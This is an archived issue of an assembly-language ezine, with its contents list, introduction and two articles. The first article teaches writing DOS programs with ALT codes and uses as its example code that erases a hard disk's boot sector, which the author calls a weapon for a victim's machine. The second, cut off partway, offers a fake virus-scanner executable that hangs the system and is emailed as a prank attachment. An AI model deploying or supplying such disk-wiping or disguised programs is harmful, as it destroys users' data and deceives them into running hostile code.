💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › APJ › apj_9.txt captured on 2021-12-03 at 14:04:38.
-=-=-=-=-=-=-
::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. Sep 00-Aug 01 :::\_____\::::::::::. Issue 9 ::::::::::::::::::::::......................................................... A S S E M B L Y P R O G R A M M I N G J O U R N A L http://asmjournal.freeservers.com asmjournal@mailcity.com T A B L E O F C O N T E N T S ---------------------------------------------------------------------- Introduction.............................................Tiago.Sanches "Programming in extreme conditions".......................Kalmykov.b52 "Pestcontrols"...........................................Jan.Verhoeven Column: Win32 Assembly Programming "How to write VxDs using NASM".............................therain "Common Gateway Interface using PE console apps"....Michael.Pruitt Column: The Unix World "Writing A Useful Program With NASM".................Jonathan.Leto "Command Line in FreeBSD".........................G.Adam.Stanislav "Compressing data"...................................Feryno.Gabris Column: PalmOS Environment "Hello Tiny World"..........................................Latigo Column: Gaming Corner "Win32 ASM Game Programming - Part 2"..................Chris.Hobbs Column: Assembly Language Snippets "Basic trigonometry functions"....................Eoin.O'Callaghan "getpass"................................................Jake.Bush "strcmp".................................................Jake.Bush "strlwr".................................................Jake.Bush "strupr".................................................Jake.Bush Column: Issue Solution "Exact Pattern Matching Algorithms"...............Steve.Hutchesson "Binary String Search Algorithm".........................buliaNaza ---------------------------------------------------------------------- +++++++++++++++++++Issue Challenge++++++++++++++++++ Code a fast pattern matching algorithm ---------------------------------------------------------------------- ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::..............................................INTRODUCTION by Tiago Sanches Finally, issue 9 is out! After a long, long time APJ is back. What happened? Well, mainly due to mammon_'s lack of free time to handle everything concerning the journal by himself and whatnot (which may have led to a shortage of contributions), APJ had to be discontinued as of last year. The good news are that the journal is back, many people have volunteered to help out and so in the future a staff may actually be a reality, allowing things to run smoother than they have. On a side note, mammon_ is still administrating the journal, even if time constraints don't allow him to get as involved in its management as before. Anyway, about this issue, there are articles ranging from CGI programming, written by Michael Pruitt, to the continuation of Chris Hobbs' gaming series (that Chili prepared for ASCII distribution). A new column has also been created, concerning the emerging PalmOS platform, featuring a very good introductory article by Latigo. G. Adam Stanislav contributed another article for the Unix side, along with Feryno Gabris, who presents an ELF compressor, whose text may look somewhat cryptic at first if not for the source code provided, both NASM oriented. Also for NASM, therain shows how to write VxDs and Jonathan Leto provided an article for the beginning assembly programmer. To close the list is a "back to the stone age" low-level programming article by Kalmykov.b52 for when everything you have is MS-DOS and, lastly, it's Jan Verhoeven's payback day as he says: "This time the joke is on you!". All in all this issue is packed with very good articles, not mentioning the great trigonometry macros by Eoin O'Callaghan in the snippets section, as well as some other pieces of code from Jake Bush and at the end the issue challenge that this time focuses on pattern matching algorithms, featuring a great work done by Steve Hutchesson along with code presented by buliaNaza. Just a reminder for contributers on submission guidelines: articles must be written in English and may focus on any aspect of assembly language for any level of programming, but remember that they must be in ASCII text format. Here are some rules to follow: - lines should have a maximum of 80 characters (including the 'New Line' character), with no left or right margins. - article subsections should consist of a subsection name, a following line of hyphens to underscore and be preceded by two carriage returns. - Paragraphs should not be indented and must be seperated by a blank line. - Code indentation (opcodes) should be about 8 chars. - Don't use TABs, use spaces instead! That said, remember to supply a name or handle and a title for the article and check the contents of the current issue for a general idea of the magazine's format. You can mail the articles, snippets or any other contribution to me at: sanches@host.sk Hopefully, with your help, issue 10 will be out faster than this one and the journal can start being released on a regular basis again. As mammon_ would say, enjoy the mag! Tiago Sanches ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Programming in extreme conditions by Kalmykov.b52 INTRODUCTION ------------ What is 'extreme conditions' ? When you are sitting in front of a computer with only MS-DOS installed without any compilers, hex editors, shells, debuggers and you need to recover lost data, delete virus, or write a new one. This is an extreme conditions. Most of programmers won't be able to do anything, most of administrators think that this computer is 100% secured. But this won't stop the assembler programmer ... I have chosen pure MS-DOS as the operation system to program for because in Windows there are many things that will easier this task (e.g. in Windows 98 there is-built in browser with VBScript and Java Script interpretators so you can easy write a hex-editor and more). This article will be interesting as for the beginners and experienced programmers. Also I recommend it to hackers, administrators, and anybody who wants to feel the spirit of low-level programming, which now is disappearing with the previous programmers generation generation. THE BEGINNING ------------- To read and understand this you will need this minimum: the knowledge of Assembler, experience working with MS-DOS. Also you will need the list of x86 instructions opcodes, ASCII table, and lot of free time. First of all, we need some kind of text editor. But the administrator removed EVERYTHING that could help us. There is only one thing that differs a good programmer from any other- It's the deep knowledge of everything he works with. If works with DOS he knows everything about it. There is undocumented functions that opens a tiny text editor, but that's enough. Enter this DOS command: C:\copy con test.com You will run the text editor. This is our instrument. But we still don't know how to write binaries. If you will look to official MS-DOS manual, you'll find the answer. Using ALT key and the numeric keyboard you can create binaries. First of all check if the NUMlock is on. Now press ALT, type 195, now release ALT. To save file and exit press CTRL-Z and hit enter. Now run it. It doesn't do anything but it doesn't halt the system. If you disassemble it you will find that test.com consists of only one operand RETN. As you already guessed opcode of RETN (195 == 0xC3), and in decimal it is 195. ADVANCED -------- Well, It was easy. Now try to enter this: ALT-180 ALT-09 ALT-186 ALT-09 ALT-01 ALT-205 ! ALT-195 ALT 32 Hi,world!$ Than press CTRL-Z and hit enter. It is clear that this program that prints "Hi,world!". Let's disassemble it: 49E0:0100 start: 49E0:0100 B4 09 mov ah,9 49E0:0102 BA 0109 mov dx,offset data_1 49E0:0105 CD 21 int 21h ; DOS Services ; ah=function 09h ; display char ; string at ds:dx 49E0:0107 C3 retn 49E0:0108 20 db 20h 49E0:0109 48 69 20 21 21 21 data_1 db 'Hi,world!$ ; xref 49E0:0102 I hope you know about the reversed order in machine word (ALT-09 ALT-01 = 109). Also, in order to show the beauty of this method, I used symbol '!' == 0x21 to call interrupt 0x21. So knowing ASCII codes can easier your life. But why we need this symbol (20h == ALT-32 == " ") at 49E0:0108 ? This is the main problem of this method. Using ALT and numeric keyboard we cannot enter some symbols. Here is a list of them: 0,3,6,8,16(0x10),19(0x13),27(0x1b),255(0xFF) You will need to avoid this symbols. If you look at the code, you'll see that the real offset is 0x108. After adding a symbol the offset became 0x109. Actually there is more elegant way to do it: mov dx,109 dec sx These two variants are equal (dec dx == 1 byte) and you chose what suits you best. Another problem is finding offset of variables and labels. You can write program on the paper, giving to variables symbolic names, and then the program will be ready it will be easy to find necessary offsets and address. Another possibility is declaring all variables before their usage: mov ah,9 jmp sort $+20 db 'Hi,world!'$ mov dx,0x100+2+2; 0x100 - the base adress,2 - lengh of ; mov ah,9, 2 - lengh of jmp jmp short $+20 - reserves 20 bytes for the string. This method could be also used for labels. THE EXAMPLE ----------- I think you are tired of these theoretical programming and feel ready to see this method in work. As illustration we will to create a program that erases the boot sector. Attention ! The usage of this program in order to destroy information is a crime. You should use it only for experimental purpose. First of all, let's write it on assembler: B80103 mov ax,00301 B90100 mov cx,00001 BA8000 mov dx,00080 CD13 int 013 C3 retn As you see we have one #0 and two #3. Let's modify the program to avoid them: xor ax,ax mov ds,ax mov ax,00299 inc ax inc ax xor cx,cx inc cx mov dl,80 mov bx,13h*4 pushf cli push cs call dword ptr [bx] retn Maybe it's quite a hard example. The assembler programming and interrupts are not really the subject of this article. I can only forward you to the other references that you can easily find on the Internet. Fortunately (or unfortunately, depends on readers orientation), in BIOS there is a boot write protection (sometimes it's called "Virus warning").It will block any efforts to modify the main boot sector. For example, running this program under Windows 98 operation system will take no effect. But we still can work with hard drive I/O ports on a low-level. Here is an example of program that will erase main boot sector, through hard drive I/O ports: mov dx, 1F2h mov al,1 out dx,al inc dx out dx,al inc dx xor ax,ax out dx,al inc dx out dx,al mov al, 10100000b inc dx out dx,al inc dx mov al,30h out dx,al lea si, Buffer mov dx, 1F0h mov cx, 513 rep outsw I don't know any popular protection that can track and block that program. However, that doesn't refer to Windows NT, this OS won't allow any program without necessary privileges to work with ports, even more it will close the application's window. Preparing this example for entering it using ALT and optimizing It's size I will leave as an exercise to the readers.That's all: enter this in victims machine and you have powerful weapon. I recommend to use it very carefully. ENDING ------ It's not easy. All this requires a lot of experience and talent but gives you incredible power on machine(and i hope you won't be using this power for destruction). All this looks quite unuseful, you can say that you won't need it - but who knows?.. Nowdays programmer depends on the powerfull development tools (compilers, debuggers, editors) and when he stay alone with 'nature' he cannot control the situation anymore - he cannot control the machine ... ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Pestcontrols by Jan Verhoeven Are you plagued now and then by friends and relatives who send you funny pictures (mostly with a lot of "beneath the belt content") via E-mail? I used to have them. I got rid of these pests. How I did it? I sent back some nice programs. And if they run Outlook Express, they can't resist to open the attachment. What I do is NOT make a virus. It is at best a trojan horse, but in fact it doesn't even come close to a trojan. No harm is done (intentionaly) unless the victim is a real moron and starts an unknown executable. Pestcontrol 1: the virus scanner -------------------------------- Most of the afore mentioned morons know of the exsitence of virus scanners. So they will be more than eager to try out the latest one, especially if it is as compact as this one: name scan lf equ 10 cr equ 13 mov dx, offset text mov ah, 9 int 021 ; show some message back: cli ; disable keyboard etc jmp back ; and do it again mov ax, 04C00 ; by the time pigs can fly, ... int 021 ; ... the program is halted. text db 'Scanning your system....', cr, lf db 'Please wait a minute.